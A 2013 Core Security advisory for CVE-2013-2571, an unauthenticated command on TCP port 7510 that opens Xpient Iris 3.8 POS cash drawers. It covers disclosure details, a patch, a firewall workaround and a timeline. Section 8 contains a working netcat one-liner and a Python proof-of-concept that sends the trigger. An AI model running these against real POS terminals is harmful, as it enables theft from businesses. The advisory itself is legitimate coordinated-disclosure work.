Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

Xpient Cash Drawer Operation Vulnerability


1. *Advisory Information*

Title: Xpient Cash Drawer Operation Vulnerability
Advisory ID: CORE-2013-0517
Advisory URL:
http://www.coresecurity.com/advisories/xpient-cash-drawer-operation-vulnerability
Date published: 2013-06-05
Date of last update: 2013-06-05
Vendors contacted: XPIENT Solutions
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Input validation error [CWE-20]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-2571


3. *Vulnerability Description*

A security vulnerability was found in Xpient POS system running an
instance of Iris 3.8 software [1]; the POS cash drawer could be remotely
triggered to open if a malicious agent has access to the POS network and
is allowed to send a crafted message to the POS terminal hosting the
cash drawer. The malicious agent could be malware which operates from
any device on the POS network or an unauthorized device connected to the
physical POS network.

No Authentication or encryption layer is required to exploit this
vulnerability. As a result, the cash drawer opens and its content is
physically accessible.


4. *Vulnerable Packages*

   . Iris 3.8 build 1052.
   . Other versions are probably affected too, but they were not checked.


5. *Non-Vulnerable Packages*

   . Iris 3.8 build 1548 or higher.


6. *Vendor Information, Solutions and Workarounds*

Xpient notifies that this vulnerability has been corrected in IRIS v3.8
build 1548, notified their active customers of this concern and provided
them with guidance. Security Bulletin XS130521, May 21st 2013.

Enabling a software firewall (e.g. Windows Firewall) on the POS Terminal
to deny incoming traffic from reaching the cash drawer functions on the
terminal will also prevent remote attacks.

For further information contact vendor via the official email address
for product security inquiries which is: padss [at] xpient [dot] com.


7. *Credits*

This vulnerability was discovered and researched by Matthew Bergin from
Core Security Technologies.


8. *Technical Description / Proof of Concept Code*

The analyzed POS system running an instance of Iris 3.8 build 1052 was
found to be bound to several TCP ports. The services using these ports
are proprietary to Xpient and do not run OSS code. One TCP port (7510)
was accessible without any authentication or layer of encryption
required to execute code which triggered specific functionality. This
was abused in order to send a specific command to the service which
would in turn cause the cash drawer peripheral to unlock and open
revealing the contents.

The command used consists of two integers separated with a single
whitespace:

/-----
/bin/echo 1 1 || /bin/nc <POS-IP>: 7510
-----/


8.1. *Proof of Concept*

The following Python script can be used to exploit this vulnerability.

/-----
#
# Description: xpient pos v3.8 cash drawer release (xpient-poc.py)
# Author: Level @ CORE Security Technologies, CORE SDI Inc.
# Email: level () coresecurity com
# CVE: CVE-2013-2571
# CORE ID: CORE-2013-0517
# Command: /bin/echo 1 1 | nc -vv <ip>:7510
#
# The contents of this software are copyright (c) 2013 CORE Security and
(c) 2013 CoreLabs,
# and are licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 (United States)
# License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE.
#

import socket
from sys import argv, exit
from time import sleep

def main():
    if not len(argv) == 2:
        print "Error: Wrong arguments."
        print "Usage: xpient-poc.py <pos-ip>"
        exit(1)
    for i in xrange(0, 4):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((argv[1], 7510))
        #trigger
        sock.send('1 1\n')
        sock.close()
        sleep(1)
    exit(0)
    
if __name__ == "__main__":
    main()
-----/


9. *Report Timeline*

. 2013-05-20:
Core Security Technologies notifies the Xpient team of the vulnerability.

. 2013-05-23:
Vendor asks for additional information regarding this issue.

. 2013-05-23:
Core sends a draft advisory with technical details to Xpient team.
Tentative publication date is set for Jun 18th, 2013.

. 2013-05-24:
Vendor requests to talk about the issue over the phone.

. 2013-05-24:
Core rejects this suggestion and asks for keeping all interactions
tracked via e-mail.

. 2013-05-31:
Vendor notifies that they have recently become aware of this issue,
developed a solution and notified their customers of this concern.
Xpient sends the Security Bulletin XS130521 for reference and notifies
that their Security Bulletins and patches are available to active users
of Xpient software. Vendor requires to remove the Proof of Concept (PoC)
and technical details from Core's report.

. 2013-06-04:
Core notifies that the advisory is re-scheduled for Jun 5th and will
include the PoC since it gives the users a tool to assess the risks they
are running and the effectiveness of possible countermeasures and
workarounds.

. 2013-06-05:
Advisory CORE-2013-0517 is published.


10. *References*

[1] http://www.xpient.com


11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.


12. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.


13. *Disclaimer*

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/


14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.